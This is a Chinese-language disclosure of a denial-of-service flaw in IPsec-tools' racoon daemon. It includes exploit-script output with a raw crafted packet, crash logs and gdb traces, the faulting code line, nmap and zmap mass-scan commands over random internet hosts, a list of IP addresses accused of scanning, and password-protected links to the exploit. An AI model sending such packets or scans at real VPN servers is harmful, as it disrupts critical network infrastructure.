IPsec Tools拒絕服務(wù)0day漏洞詳細(xì)報告(附0day)
IPsec-tools近日曝出拒絕服務(wù)0day漏洞,并且互聯(lián)網(wǎng)上已經(jīng)出現(xiàn)利用程序。你可能質(zhì)疑該漏洞甚至未達到中等漏洞的評級,但請記住IPsec是至關(guān)重要的基礎(chǔ)設(shè)施,并且這種攻擊只需要兩個小的UDP數(shù)據(jù)包。如果有打開日志記錄或者用戶經(jīng)常斷開或重新連接那么就很容易被發(fā)現(xiàn),它可能會創(chuàng)建Intrusion Detection/Prevention (IDP)簽名,更多的是,你可能需要運行一個蜜罐來進行檢測。
如果你有使用IPsec-tools,明智的做法就是盡快替換它。
什么是IPsec
IPsec是一款用于關(guān)鍵基礎(chǔ)設(shè)施的軟件。它改進IP棧,這樣IP層以下的所有協(xié)議都可以進行加密(TCP, UDP等等)。其通常被描述為VPN,同時也是VPN的一部分,但不要搞混淆IPsec到底是做什么的。
IPsec試圖提供的特性:
加密(可選) 身份驗證(可選) 保密性 完整性 可用性?
Demo:附在文末
用法:
python3 repro_racoon_dos129.py Warning: Unable to bind to port 500. Might not work. [Errno 13] Permission denied Umm, okay.129 ('\x81\xcf{r\x8e\xb6a\xdd9\xf1\x87cP\xb1\x05\xc7\x01\x10\x02\x00\x00\x00\x00\x00\x00\x00\x00\x98\r\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x000\x01\x01\x00\x01\x00\x00\x00(\x01\x01\x00\x00\x80\x0b\x00\x01\x00\x0c\x00\x04\x00\x01Q\x80\x80\x01\x00\x07\x80\x0e\x01\x00\x80\x03\x00\x03\x80\x02\x00\x02\x80\x04\x00\x05\r\x00\x00\x14J\x13\x1c\x81\x07\x03XE\\W(\xf2\x0e\x95E/\r\x00\x00\x14\xaf\xca\xd7\x13h\xa1\xf1\xc9k\x86\x96\xfcwW\x01\x00\x00\x00\x00\x18@H\xb7\xd5n\xbc\xe8\x85%\xe7\xde\x7f\x00\xd6\xc2\xd3\x80\x00\x00\x00', ('192.168.88.247', 500))129 sending second packet Umm, okay.
服務(wù)器崩潰:
sudo racoon -F -v -f server_racoon.conf >server_dos5m.txt 2>&1 & jvoss@ipsecu:~$ dmesg |tail [ 584.440533] AVX or AES-NI instructions are not detected. [ 584.442253] AVX or AES-NI instructions are not detected. [ 584.490468] AVX instructions are not detected. [13683.867215] init: upstart-udev-bridge main process (361) terminated with status 1 [13683.867223] init: upstart-udev-bridge main process ended, respawning [13683.867307] init: upstart-file-bridge main process (452) terminated with status 1 [13683.867313] init: upstart-file-bridge main process ended, respawning [13683.867386] init: upstart-socket-bridge main process (616) terminated with status 1 [13683.867392] init: upstart-socket-bridge main process ended, respawning [19912.460170] racoon[3701]: segfault at 100 ip 00007fe0eba84ce7 sp 00007ffff51db730 error 4 in racoon[7fe0eba5e000+93000] 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00 2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION 2015-04-27 15:22:14: INFO: received Vendor ID: DPD 2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947 2015-04-27 15:22:14: [169.254.44.43] ERROR: ignore the packet, received unexpecting payload type 128. 2015-04-27 15:22:14: INFO: respond new phase 1 negotiation: 169.254.88.251[500]<=>169.254.44.43[42258] 2015-04-27 15:22:14: INFO: begin Identity Protection mode. 2015-04-27 15:22:14: INFO: received Vendor ID: RFC 3947 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-02 2015-04-27 15:22:14: INFO: received Vendor ID: draft-ietf-ipsec-nat-t-ike-00 2015-04-27 15:22:14: INFO: received broken Microsoft ID: FRAGMENTATION 2015-04-27 15:22:14: INFO: received Vendor ID: DPD 2015-04-27 15:22:14: [169.254.44.43] INFO: Selected NAT-T version: RFC 3947 Program received signal SIGSEGV, Segmentation fault. 0x000055555557ace7 in ?? () (gdb) bt #0 0x000055555557ace7 in ?? () #1 0x000055555557b775 in ?? () #2 0x000055555556c1a1 in ?? () #3 0x0000555555563fd1 in ?? () #4 0x00005555555658ec in ?? () #5 0x000055555555fc9d in ?? () #6 0x000055555555f273 in ?? () #7 0x00007ffff6953ec5 in __libc_start_main (main=0x55555555f010, argc=5, argv=0x7fffffffe738, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe728) at libc-start.c:287 #8 0x000055555555f3ec in ?? () (gdb) x/15i $rip - 12 0x55555557acdb: mov %eax,0x1c8(%rsp) 0x55555557ace2: mov 0x28(%r12),%rax => 0x55555557ace7: mov 0x100(%rax),%rax 0x55555557acee: mov 0x30(%rax),%rax 0x55555557acf2: test %rax,%rax 0x55555557acf5: je 0x55555557af00 0x55555557acfb: mov (%rax),%rdx 0x55555557acfe: lea 0x20(%rsp),%r13 0x55555557ad03: mov 0x8(%rax),%rax 0x55555557ad07: lea 0x1c(%rsp),%rbx 0x55555557ad0c: lea 0x30(%rsp),%rsi 0x55555557ad11: mov %r13,%rcx 0x55555557ad14: mov %rdx,0x30(%rsp) 0x55555557ad19: mov %rbx,%rdi 0x55555557ad1c: xor %edx,%edx (gdb) i r rax 0x0 0 rbx 0x0 0 rcx 0x5555558dbe40 93824995933760 rdx 0x5555558dbe40 93824995933760 rsi 0x0 0 rdi 0x5555558dbdc0 93824995933632 rbp 0x5555558dbdc0 0x5555558dbdc0 rsp 0x7fffffffd180 0x7fffffffd180 r8 0x5555558dbdc0 93824995933632 r9 0x7ffff6cf07b8 140737334151096 r10 0xbdb00 776960 r11 0x5555558da301 93824995926785 r12 0x5555558da300 93824995926784 r13 0x555555822460 93824995173472 r14 0x5555558da420 93824995927072 r15 0x7fffffffd260 140737488343648 rip 0x55555557ace7 0x55555557ace7 eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
#p#
不使用IPsec
IPsec有許多易受到攻擊的操作模式,你可以從他的配置中看出來。
不要使用預(yù)共享密鑰
不使用防火墻阻止攻擊者橋接你的網(wǎng)絡(luò)
不要讓個人或者沒有IT主管的公司橋接你的網(wǎng)絡(luò)
不要使用IPsec代替TLS
不要使用IPsec防止0-day
如果你沒有一個能干的IT人,不要運行它
不要購買一個沒有更新的IPsec設(shè)備軟件
....
如果NSA想要獲取你的所有數(shù)據(jù),那么他們完全有這個能力。
關(guān)于漏洞
漏洞位置:
if (iph1->rmconf->proposal->gssid != NULL) {
Fuzzer(漏洞檢查工具)好像錯過了什么,黑客們好像也錯過了什么。如果不是我幸運以及堅持,可能我也會錯過些什么東西。
NetBSD, FreeBSD, Android以及其他許多產(chǎn)品都在使用IPsec tools,我認(rèn)為這就有必要去尋找發(fā)掘漏洞。我檢測Makefile文件,在GSSAPI中Android并沒有進行編譯。
IPsec作者沒有回應(yīng)我們的多次請求,我們也沒有聯(lián)系FreeBSD或NetBSD,因為我們沒有花足夠的時間來檢查kame.net。說實話看著NetBSD就蛋疼,我不會花過多的時間來安裝FreeBSD或NetBSD。我的同事在SourceForge已經(jīng)發(fā)布這個漏洞,而我要做的事情就是充分的披露它。
修復(fù)一個漏洞需要多久
如果沒有類似的缺陷,修復(fù)一個漏洞大概需要1個小時左右,通知使用者卻需要20小時左右。
我不愿意做這樣的事情,這個問題自然有CVE解決。
實在無力吐槽IPsec-tools,如果你是它的死忠粉請不要來黑我。不介意的話我可以再從其中找個漏洞出來,再次公開!
意義何在
當(dāng)IKE daemon崩潰,可能會導(dǎo)致重新啟動。一旦重新啟動,就給了攻擊者更多嘗試啟動IKE daemon的機會,結(jié)果:未知。如果不重新啟動,密鑰不會改變。當(dāng)重復(fù)4次就會喪失其完整性和機密性,重啟又變得很容易了,結(jié)果:潛在妥協(xié)。
如果系統(tǒng)判斷這兩個設(shè)備不應(yīng)該再使用IPsec,系統(tǒng)會恢復(fù)默認(rèn)狀態(tài),結(jié)果:可能完全妥協(xié)。
當(dāng)加密完全被破環(huán),加密層以下就很容易被攻擊者攻破。
IPsec被設(shè)計為運行于公共網(wǎng)絡(luò),中間人攻擊也并非只是理論。中間人攻擊經(jīng)常用在WIFI,公司網(wǎng)絡(luò)(平面拓?fù)浣Y(jié)構(gòu)),服務(wù)器(DMZ/segmented),骨干路由器(ISP)
我并沒有在這里危言聳聽。利用該漏洞,單獨一個人來攻擊公司網(wǎng)絡(luò)的可能性十分低(一個人至少需要4個小時的時間來嘗試)。NSA攻破伊朗air-gapped網(wǎng)絡(luò)并摧毀其離心機,如果他想獲取你所擁有的東西,使用該漏洞簡直輕而易舉!
關(guān)于IPsec設(shè)計
IPsec協(xié)議過于復(fù)雜,缺少x.509的靈活性,TLVs的設(shè)計是為了減少緩沖區(qū)溢出,開發(fā)者混淆不清導(dǎo)致出現(xiàn)許多錯誤。IKE daemon經(jīng)常被設(shè)置為root權(quán)限,任何的IP數(shù)據(jù)包都可以瀏覽IPsec,實現(xiàn)IKE客戶端只用了8個小時,實現(xiàn)IKE服務(wù)端只用了8個小時。我們?yōu)槭裁葱枰`活性?IPsec的作者應(yīng)該為他自己感到羞愧,他們的思維依舊還活在90年代 。我們?yōu)槭裁催€沒有取代IPsec?Bruce Schneier曾公開譴責(zé)IPsec,對于IPsec這已經(jīng)不是什么新鮮事了,但對于IPsec的使用者來說這絕對不是一件好事情。
誰在使用IPsec-tools
IPsec-tools有一個唯一的響應(yīng)簽名,你可以寫一個Nmap腳本去檢測。以下測試沒有在FreeBSD和NetBSD上進行進行。
你不需要運行
nmap -sU -Pn -n -vvv -iR 100000 -p 500 -oA nmap_ike1
或者
sudo nmap -sU -sV -O -Pn -n -vvv -iR 100000 -p 500 -oA nmap_ike2
再或者
sudo zmap ike
為了尋找一長串IPsec-tools使用者列表,你不需要進行網(wǎng)絡(luò)調(diào)查,nmap并不能輕松的使用這個exploit尋找漏洞服務(wù)器。
IPsec掃描器
目前有很多的IPsec掃描器在掃描使用IPv4協(xié)議的IKE服務(wù)器。你認(rèn)為他們這樣做的目的是什么?一些人僅僅只是進行研究,一些人就是純粹的腳本小子,一些人就是為了進行IP地址欺騙攻擊。據(jù)我的推測手握0day的他們正在利用這個漏洞攻擊他們所遇到的所有VPN,從他們發(fā)送的數(shù)據(jù)包就可以看得出來。
數(shù)量 IP地址
915 92.156.83.10
413 88.182.227.2
379 222.64.125.46
366 202.153.47.42
156 92.139.69.91
146 195.87.244.8
134 2.12.52.14
132 5.107.86.214
115 93.100.141.178
113 212.57.6.226
102 212.21.46.34
98 41.214.10.33
92 114.35.125.229
90 41.136.2.241
90 41.136.18.209
85 79.165.141.243
79 67.68.122.156
79 46.14.13.125
64 124.148.219.105
60 190.199.39.243
59 203.59.158.2
57 95.29.206.187
56 185.56.161.133
56 154.70.115.98
46 41.136.47.233
45 86.235.41.154
43 212.87.172.4
42 89.157.119.185
41 50.189.102.250
幻燈片地址
[https://www.altsci.com/ipsec/ipsecs2a.html]
IPsec-tools 0-day Exploit
[鏈接:http://pan.baidu.com/s/1o6C9mOU 密碼:tfn4]
sig
[鏈接:http://pan.baidu.com/s/1dDo5bo9 密碼:4iki]